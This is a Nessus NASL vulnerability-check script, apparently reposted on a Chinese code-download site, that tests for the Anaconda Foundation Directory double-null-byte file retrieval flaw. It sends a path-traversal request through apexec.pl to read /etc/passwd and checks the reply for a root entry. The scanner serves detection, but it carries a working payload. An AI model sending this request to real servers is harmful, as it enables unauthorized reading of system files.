⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 anaconda_doublenull.nasl

📁 漏洞扫描源码,可以扫描linux,windows,交换机路由器
💻 NASL
字号:
## This script was written by Noam Rathaus## See the Nessus Scripts License for details#if(description){ script_id(15749); script_version("$Revision: 38 $");  name["english"] = "Anaconda Double NULL Encoded Remote File Retrieval"; script_name(english:name["english"]);  desc["english"] = "The remote Anaconda Foundation Directory contains a flawthat allows anyone to read arbitrary files with root (super-user) privileges, by embedding a double null byte in a URL, as in :http://www.example.com/cgi-bin/apexec.pl?etype=odp&template=../../../../../../..../../etc/passwd%%0000.html&passurl=/category/Solution : Contact your vendor for updated software.Risk factor : High"; script_description(english:desc["english"]);  summary["english"] = "Anaconda Foundation Directory Double NULL Encoded Remote File Retrieval"; script_summary(english:summary["english"]);  script_category(ACT_GATHER_INFO);   script_copyright(english:"This script is Copyright (C) 2004 Noam Rathaus"); family["english"] = "Remote file access"; family["francais"] = "Acc鑣 aux fichiers distants"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "http_version.nasl"); script_require_ports("Services/www", 80); exit(0);}## The script code starts here#include("http_func.inc");include("http_keepalive.inc");port = get_http_port(default:80);if(!get_port_state(port))exit(0);foreach dir (make_list("/cgi-local", cgi_dirs())){  item = string(dir,"/apexec.pl?etype=odp&template=../../../../../../../../../etc/passwd%%0000.html&passurl=/category/");  buf = http_get(item:item, port:port);  rep = http_keepalive_send_recv(port:port, data:buf);  if( rep == NULL ) exit(0);  if(egrep(pattern:".*root:.*:0:[01]:.*", string:rep))  	{  	security_hole(port);	exit(0);	}}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -